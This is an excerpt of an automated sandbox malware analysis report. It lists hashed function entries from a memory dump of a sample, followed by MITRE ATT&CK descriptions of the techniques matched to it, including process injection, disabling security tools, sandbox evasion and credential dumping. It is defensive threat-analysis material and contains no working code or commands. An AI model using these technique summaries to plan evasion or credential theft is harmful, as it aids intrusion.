Instruction Fuzzy Hash: 2B01F6B4D04209DFCB44DFA8D9545EEBBF0FF49301F1081AAD819A3261D7345A42CF81

Uniqueness

Uniqueness Score: -1.00%

Function 04EB8BC8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7888af466e73ba6cd827a8149dd7342f21eeb854f938eb193ccdc26e3650004d
Instruction ID: 8c4f523a2890b5dc49847eefad6f29528aa5001fc4f6320d4f89214262036373
Opcode Fuzzy Hash: 7888af466e73ba6cd827a8149dd7342f21eeb854f938eb193ccdc26e3650004d
Instruction Fuzzy Hash: 1CF0B431300A048FC725AB1AE484A5BB7FAFFC9725710016DE50687361DB71FC42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04EB6028 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
Instruction ID: 4243ceffdd30f352615e2fe6667d750750fc4abca0ae9b7f9b7c733986b7bd1f
Opcode Fuzzy Hash: e26b3b693c3fa3a092213b46d9974f97095fdf38ae2968b16eb170a88f8efb51
Instruction Fuzzy Hash: 0601B675D00609DFCB40EFACC54589DBBF4FF49210B1185AAE859EB321E770AA44CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04EBE669 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12625e66a81b07b40f9438cb086b44d3564a0bca69dab38e34eab6709db173a8
Instruction ID: e791aaf15225073e3843743a00d73b3db7dfbc36f43ccd6a57e6225ad7561cc2
Opcode Fuzzy Hash: 12625e66a81b07b40f9438cb086b44d3564a0bca69dab38e34eab6709db173a8
Instruction Fuzzy Hash: 92F0B4719142558FC711AB6CD8045EA7BF4EF85305F00096AD885D3351D730691ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 04EB5469 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3718fa1f2a788263fce1764a6e2191cca5f1a882f49ba3ebda429eb6a36f4eb7
Instruction ID: 4bc48f707eba1421a3a1592f928d47fe7ecdcc9c6a573ce5c8af9a51710c1d7c
Opcode Fuzzy Hash: 3718fa1f2a788263fce1764a6e2191cca5f1a882f49ba3ebda429eb6a36f4eb7
Instruction Fuzzy Hash: 67E092B2E002186FEB44CEA598845DEBBF9DF84224B04C0A6D84CD7242F930AA078780

Uniqueness

Uniqueness Score: -1.00%

Function 04EBFB08 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862bbeef04cd7b208472d136a7bb4d378a85a406c80390a1c5b8cf7e088316a1
Instruction ID: 589afbccea75b77d95b270aa13b438ec9a021f12e380810ebb4c568c82f17b28
Opcode Fuzzy Hash: 862bbeef04cd7b208472d136a7bb4d378a85a406c80390a1c5b8cf7e088316a1
Instruction Fuzzy Hash: 50F0AFB4D04209DFCB44DFA9D9546EEBBF4FB48301F1091AA9819E3350EB346A01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04EB93C0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fca004061d75c25f5f7bf56b7bb8396930cdf52a930d524ec0da242a585ad9e
Instruction ID: fe2be71bb01b6c477bbec3f57c0e7ec5a28c72d90c127adddad77aa8c078cad1
Opcode Fuzzy Hash: 9fca004061d75c25f5f7bf56b7bb8396930cdf52a930d524ec0da242a585ad9e
Instruction Fuzzy Hash: A2F0F230240610CFC718DB2CE588D997BEAFF4AB1971585A9E54ACB372CB72EC40CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04EB5150 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17e63cec4b1af1cb13e0b1e39f993b3556638570f2819ce22e235c33454c3a19
Instruction ID: c24a1a5df9f6451a8a31d4373ffa1266c9e6598636a4c8c8ed20c1ff85b2bf6c
Opcode Fuzzy Hash: 17e63cec4b1af1cb13e0b1e39f993b3556638570f2819ce22e235c33454c3a19
Instruction Fuzzy Hash: 59E04F72F002186BAB14DFAA8C419EFBAEECBC4158F1081799409E3345F930AD0247D0

Uniqueness

Uniqueness Score: -1.00%

Function 04EBEAFD Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db4d779afc22a23c0344d2b81a528829a399c9bacf551767f1be937c159fe8ca
Instruction ID: 3864783095f0d425c7ba133d15412836caeb2a025d1eb91b441b045f86745562
Opcode Fuzzy Hash: db4d779afc22a23c0344d2b81a528829a399c9bacf551767f1be937c159fe8ca
Instruction Fuzzy Hash: 3AF01270A0060ACBEB249FB995587EE7AE1AF84305F049439C052A6294DFB85C40CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 04EBE678 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 891b8bb0f447712a9b99ba39ad4a2019ae885c1dd2935af16edd82fdbe163137
Instruction ID: 6c342dcb341080af3fd0a83340a7a9d947add313301973e3aac4802a330cccd8
Opcode Fuzzy Hash: 891b8bb0f447712a9b99ba39ad4a2019ae885c1dd2935af16edd82fdbe163137
Instruction Fuzzy Hash: CEE06D31A101199FCB20EB6DD8085EEBBF4EB88315F004929D989E3344E774AA19CFC0

Uniqueness

Uniqueness Score: -1.00%

Function 04EB3CB0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec67cea5e67040f9ac9aa3c148a8ceca59c3653e6b0bf33b1b99bbc2fd388f74
Instruction ID: 7de839118b1c762320ef56446eb1b66c2ce3f3007861f47228fb6f956500382b
Opcode Fuzzy Hash: ec67cea5e67040f9ac9aa3c148a8ceca59c3653e6b0bf33b1b99bbc2fd388f74
Instruction Fuzzy Hash: 63F06530A09A48DFC704FFA4F54195C7FB5EF4520072184DAD4049B256EA365E14D751

Uniqueness

Uniqueness Score: -1.00%

Function 04EB6C10 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b59465244907ebea4ffd28d67e8e60d9716a74972f92c29df0bc5c2b42baf8a3
Instruction ID: 3bc62ce217e2b1fb454b015837969994cd0ff39ed4a91e3580fb453c236cd2fa
Opcode Fuzzy Hash: b59465244907ebea4ffd28d67e8e60d9716a74972f92c29df0bc5c2b42baf8a3
Instruction Fuzzy Hash: 40E08631709B444FC71DCB1CE4A1886BBF9EF4931031585EEE459CB672DA61ED0A87C1

Uniqueness

Uniqueness Score: -1.00%

Function 04EB9E78 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4edb08e8fb0c8941e5475484412c9018d8e3e84322c25d5083086fd4a7244a1a
Instruction ID: f08b6847d233badc61fe1ede0d92a392b61ad75cb19f944deedb7c7d38199709
Opcode Fuzzy Hash: 4edb08e8fb0c8941e5475484412c9018d8e3e84322c25d5083086fd4a7244a1a
Instruction Fuzzy Hash: 7CE065A040A3E06EDB23C73870752693F70D71B22EF4819EAC48189293C52D894AC761

Uniqueness

Uniqueness Score: -1.00%

Function 04EBE9C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576b6e5ac351e4be975021906a772db137c327d9ab57e832596aeea11a1fe412
Instruction ID: 45648d20d30088df565c152e989de94736306768a19321e29b162a7479f3883b
Opcode Fuzzy Hash: 576b6e5ac351e4be975021906a772db137c327d9ab57e832596aeea11a1fe412
Instruction Fuzzy Hash: 08F0A5B444E785AFDB125F74A8649657F34EE0320570A08DBD481CB1B7C669581BCB62

Uniqueness

Uniqueness Score: -1.00%

Function 04EB06CC Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f79a1fb9d58b9ef0b7f34e51fe1bfbc76a4cf278038dd339e766ac06f64821
Instruction ID: b5bc62b9847311539acc56d139acb1d0b671d7626f6f017a564fd7901334c338
Opcode Fuzzy Hash: 17f79a1fb9d58b9ef0b7f34e51fe1bfbc76a4cf278038dd339e766ac06f64821
Instruction Fuzzy Hash: 02F0A575A11209CBCF54EFA5D1445EDB7F1EB89216F6004AAC445B2244DB326E50CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04EB3CC0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca66123fc90733f4c063669fa0f0603ac64068f30de7ce6655b9591b74688d22
Instruction ID: 69cb9a7f7c65013cbff984af2eff21221de4e89e7c1f8d2ca08199e24cede44c
Opcode Fuzzy Hash: ca66123fc90733f4c063669fa0f0603ac64068f30de7ce6655b9591b74688d22
Instruction Fuzzy Hash: D3E08C30A04A0CEFCB04FFA4E94285C7BB9FB44304B2085E9E90997358EB326F00DB64

Uniqueness

Uniqueness Score: -1.00%

Function 04EB6C20 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38f413e664b27417c9a794c1d32263207a0359bb08ce4953439cb18d5717b9a
Instruction ID: 793e88799fc1b55f401248206d7d1b30957e431436a3ab98155f3d0484aa6d8c
Opcode Fuzzy Hash: f38f413e664b27417c9a794c1d32263207a0359bb08ce4953439cb18d5717b9a
Instruction Fuzzy Hash: 64D01731310B149F872CDB1CE840C9AB7EEEF8831032486A9F049C7760DA60FC058A84

Uniqueness

Uniqueness Score: -1.00%

Function 04EB9F41 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b96d26c701835f443d46a8de1970578e992fc16432e6b5ae918f34e57bbc0e9
Instruction ID: 16cc034d9e59043be6a3a8c0c1bbf6ca5945e72850f14fbcb87d268c4af2ba04
Opcode Fuzzy Hash: 8b96d26c701835f443d46a8de1970578e992fc16432e6b5ae918f34e57bbc0e9
Instruction Fuzzy Hash: BEE0CD3154C385DFD711DB54C5009B977B9AF06215F1502CA9544530D3CB251B65E771

Uniqueness

Uniqueness Score: -1.00%

Function 04EBEFB9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f12b8690a9bb9d2e4bfbd3d9793afa8c29e19ee0f66d723ead9aa896b3b3955d
Instruction ID: 7c97bff3c376d649e1699883fc6758ca8a97869e5d38d66df2ff364f6061beb3
Opcode Fuzzy Hash: f12b8690a9bb9d2e4bfbd3d9793afa8c29e19ee0f66d723ead9aa896b3b3955d
Instruction Fuzzy Hash: 80D0A722A1C2500FD705279428205F83B68CB8621070500AFD44ACB263CC850D0383C6

Uniqueness

Uniqueness Score: -1.00%

Function 04EB9F50 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109e6681bd51d98767f09d23c8d767054db094c7f7b9fdc5afa30199afb1944d
Instruction ID: f14ce11fed4729af50f6345ebd8f6e9351a2a2146ebb340eb7de1ebe686d6dc7
Opcode Fuzzy Hash: 109e6681bd51d98767f09d23c8d767054db094c7f7b9fdc5afa30199afb1944d
Instruction Fuzzy Hash: 8AD05EB2D0120CEBDB00DEEAC9006EEB2FEDB84201F11C0EA9508D3241E5345F40A661

Uniqueness

Uniqueness Score: -1.00%

Function 04EB9E0F Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb71d483c1f953670e195852839e8c586ff1c3d9c1b60bc8bdf2c7816e0d043d
Instruction ID: 5ca90bdba7cd2a8e2e003973a9e78a0742ca578c998a7f9de2f317dc12219cda
Opcode Fuzzy Hash: bb71d483c1f953670e195852839e8c586ff1c3d9c1b60bc8bdf2c7816e0d043d
Instruction Fuzzy Hash: 4BD02E712892064FD7050A50DD2A3B737A0CF02208B0810A8DA8A82203EB20A8028282

Uniqueness

Uniqueness Score: -1.00%

Function 04EB9E20 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7feca4413143d7a1554b4975bce4093496914ddb0513c9ee6e5c9584d69e78de
Instruction ID: b7c196db72725004b83205606e581657e11f2fae3e9f93b158b6ad3ce4503efc
Opcode Fuzzy Hash: 7feca4413143d7a1554b4975bce4093496914ddb0513c9ee6e5c9584d69e78de
Instruction Fuzzy Hash: 5DD0C97029520A8BDB195AA5ED587BB73E8AB40609B141068F68EC1A02EB62F841A591

Uniqueness

Uniqueness Score: -1.00%

Function 04EBE641 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bff6b9c2dec37f4d637d4b652b8174fea40c9f3e0fe9df114e1c12271a2e9a02
Instruction ID: 4eb3161bbdbb621db87ee9d5b78ce68a307e1a457523dcf2f44d4822f9373f40
Opcode Fuzzy Hash: bff6b9c2dec37f4d637d4b652b8174fea40c9f3e0fe9df114e1c12271a2e9a02
Instruction Fuzzy Hash: A0D012704893818FD710AF58A8025B377F5EF86616F01C49F88C157662E6355413CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04EBEB63 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746d5f59c830a91de98ed59fc63a46cdb9fc327c54cd0e7e69e02e3faac789d9
Instruction ID: 1a74e770120ad1ae97b67648d8571184d9c61dbccb8e3f81f04ad2ea56b25e66
Opcode Fuzzy Hash: 746d5f59c830a91de98ed59fc63a46cdb9fc327c54cd0e7e69e02e3faac789d9
Instruction Fuzzy Hash: EED01775E44109CFD710DF68D095AEEBBB0AF08314F209459D042AB261CB70A804CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 04EBEFC8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02c893c823131a0c3d45aa3a61e0f791c18a911e88bad668706fbfe5b1279974
Instruction ID: 0d62f8b3f4fe45e34f6ebc2e59469f070bd01e32797f9d6af5ed8dae0129fa5e
Opcode Fuzzy Hash: 02c893c823131a0c3d45aa3a61e0f791c18a911e88bad668706fbfe5b1279974
Instruction Fuzzy Hash: 08B09B2131813513D50431DD74109DE728D47C5564F411067A54D977454CD55D4102DD

Uniqueness

Uniqueness Score: -1.00%

Function 04EBE57A Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2321304531.0000000004EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4eb0000_BjTxJte.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5866445f396bc518c0dbcb313aa2b03262849cd16e90c8ea2ea2838e4a881e3
Instruction ID: a99a0eebc08e887aa2f8aa1b2d8e3a02cfd6c92598f346fd898678f713f406be
Opcode Fuzzy Hash: f5866445f396bc518c0dbcb313aa2b03262849cd16e90c8ea2ea2838e4a881e3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
